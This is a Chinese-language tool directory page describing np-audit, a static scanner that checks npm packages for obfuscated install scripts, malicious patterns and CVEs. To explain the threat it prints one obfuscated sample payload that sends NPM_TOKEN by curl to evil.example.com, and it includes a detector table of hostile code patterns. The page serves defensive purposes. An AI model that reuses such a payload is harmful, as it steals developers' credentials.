Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
np-audit — 针对npm包的静态安全分析。在安装前检测混淆代码、恶意模式和已知漏洞。 | Kitploit
工具/GitHubGitHub/koblers/np-audit
静态分析漏洞扫描器代码分析恶意软件分析秘密检测供应链安全
GitHubkoblers/np-audit

np-audit

针对npm包的静态安全分析。在安装前检测混淆代码、恶意模式和已知漏洞。

查看仓库
71个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm 包审计工具

针对 npm 包的静态安全分析——在执行前检测混淆的生命周期脚本、已知漏洞和恶意模式。可作为 npm install 和 npm ci 的即插即用替代品。

零依赖。 仅使用纯 Node.js 内置模块。体积 < 100 kB。

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # 扫描所有依赖
npa install                  # 审计并安装
alias npm='npa'              # 作为即插即用替代品使用

检测器(Marshallers)

检测功能被拆分为模块化的检测器(marshallers)——每个检测器检测一种攻击信号:

分数随严重程度变化——混淆指标数量越多,分数越高。最终判定基于所有检测器中的单个最高分。

参见 CONTRIBUTING.md 了解如何编写自定义检测器。


漏洞扫描(CVE)

每个被扫描的包都会在代码分析的同时,与已知漏洞数据库进行比对。

默认:OSV.dev(无需额外设置)

开箱即用——查询免费的 OSV.dev API 以获取已知漏洞和恶意包公告。

可选:Snyk API(更丰富的数据)

root@kitploit:~
# 环境变量
export SNYK_API_TOKEN=your-token-here

# 或通过 Snyk CLI
snyk auth

令牌解析顺序:SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

严重程度分数判定

非恶意的 CVE 会产生警告,但不会阻止安装。只有确认的恶意包才会触发“危险”判定。


使用方式

命令

任何未识别的命令都将转发给 npm(例如 npa run test、npa publish)。

标志

交互式 --review 模式

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review 模式
  使用 ↑/↓ 导航,SPACE 切换,ENTER 确认,q 退出

  发现 3 个包含安装脚本的包:

     [✓ 允许] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ 拒绝] [email protected]       postinstall: install.js          危险 (分数: 9)
     [✓ 允许] @scope/[email protected]     postinstall: install.js          警告 (分数: 5)

  2 个已允许  1 个已拒绝

配置

配置存储在 ~/.npmauditor.json(全局),并可在项目中通过 .npmauditor.json 覆盖。

root@kitploit:~
npa config get                              # 显示当前配置
npa config set blockScore 6                 # 在分数 ≥6 时阻止
npa config set skipPackages '["esbuild"]'   # 信任特定包
npa config set skipScopes '["@types"]'      # 信任整个范围

所有配置键

禁用检测器

您可以通过将特定检测器的名称添加到 disabledMarshallers 来禁用它们:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

要查看所有可用的检测器名称及其当前状态:

root@kitploit:~
npa config marshallers

当某个检测器在您的工作流中产生误报时,这会很有用。被禁用的检测器在静态代码分析和包级别检查中都会被完全跳过。


Shell 别名

将 npa 用作透明的 npm 替代品:

root@kitploit:~
npa alias --install     # 添加:alias npm='npa'
source ~/.zshrc         # 重新加载 shell

现在 npm install、npm ci 会自动扫描。所有其他 npm 命令(npm run、npm test、npm publish)会原样传递。

root@kitploit:~
npa alias --uninstall   # 移除别名

工作原理

  1. 解析 package-lock.json(v1/v2/v3)或从 package.json 解析
  2. 获取 来自注册表的 tarball(或从 node_modules 读取)
  3. 解析 生命周期命令——拆分 &&/||/;/|,处理 node -e、sh -c、shell 脚本
  4. 遍历 每个入口处的 require()/import 图(循环检测,上限 50 个文件 / 5 MB)
  5. 分析 使用所有检测器——静态代码检查 + CVE 数据库查询
  6. 评分 和分类:DANGER / WARN / OK
  7. 报告 或继续安装

攻击向量

供应链攻击滥用 npm 的生命周期脚本。当您运行 npm install 时,任何 preinstall/install/postinstall 脚本都会自动执行。攻击者将有效载荷隐藏在混淆之后:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

现实世界中的事件:

  • event-stream (2018) — 比特币钱包凭证盗窃
  • ua-parser-js (2021) — 加密货币矿工 + 信息窃取者
  • node-ipc (2022) — 地理定位的擦除器恶意软件
  • colors / faker (2022) — 维护者蓄意破坏
  • SAP CAP / cds-dbs (2025) — 被攻陷的包,针对企业开发人员

npa 从不执行脚本。它会下载并静态分析它们。


退出码

代码含义
0全部清洁或仅有警告
1一个或多个包被阻止

许可证

MIT

下载工具
检测器检测内容分数
eval/dynamic-execeval()、new Function()、间接 eval、vm.*、含字符串的 setTimeout8
obfuscator.io_0x 变量命名模式(obfuscator.io 输出)9–80
high-entropy-string长字符串或高香农熵的拼接链6
hex-escape-density密集的 \xNN 和 \uXXXX 转义序列5–50
fromCharCode带有大量参数的 String.fromCharCode、大型十进制字符码数组7
encoded-decodeBase64/十六进制解码(atob、Buffer.from),可选与 eval 组合3–8
child-processrequire('child_process')、exec、spawn、fork、worker_threads5
hex-array大量 0x 十六进制字面量值7–60
process-env访问 process.env(凭据泄露信号)3
network-callrequire('https')、fetch()、dns、net、tls4
filesystem-manipulationfs.writeFile、chmod、symlink(后门持久化)3–4
runtime-download下载并执行外部运行时(Bun、Deno)9–50
vscode-autorun带有 runOn: folderOpen 的 VS Code 任务(自动执行)30
known-vulnerability通过 Snyk API 或 OSV.dev 发现的已知 CVE4–6(WARN),80(恶意)
恶意包80危险
10 个以上漏洞6警告
5–9 个漏洞5警告
1–4 个漏洞4警告
命令别名说明
npa install [package]npa i审计后运行 npm install
npa ci—审计后运行 npm ci
npa scan [package]npa s仅扫描,不安装
npa config getnpa c get显示当前配置
npa config set <key> <value>npa c set更新配置值
npa alias --install—安装 shell 别名
npa alias --uninstall—移除 shell 别名
标志别名配合的命令说明
--review-rinstall、ci交互模式——选择允许哪些脚本
--json—install、ci、scan机器可读的 JSON 输出
--no-dev—install、ci、scan跳过 devDependencies
--verbose—所有显示获取进度和额外细节
--version-v—打印版本并退出
--help-h—打印帮助并退出
键默认值说明
blockScore7触发 DANGER(退出码 1)的分数阈值
warnScore4触发 WARN(退出码 0)的分数阈值
registryhttps://registry.npmjs.orgnpm 注册表 URL
timeout30000HTTP 请求超时(毫秒)
parallelFetches5并发下载数
skipScopes[]要跳过的 @scope 前缀
skipPackages[]要跳过的包名
silentfalse未发现问题时抑制输出
scanSelftrue扫描自身工程的生命周期脚本
maxTarballSize50MB最大解压后 tarball 大小(炸弹防护)
checkVulnerabilitiestrue检查包与 CVE 数据库的对比
deepResolvefalse解析完整的传递依赖树
disabledMarshallers[]扫描时跳过的检测器名称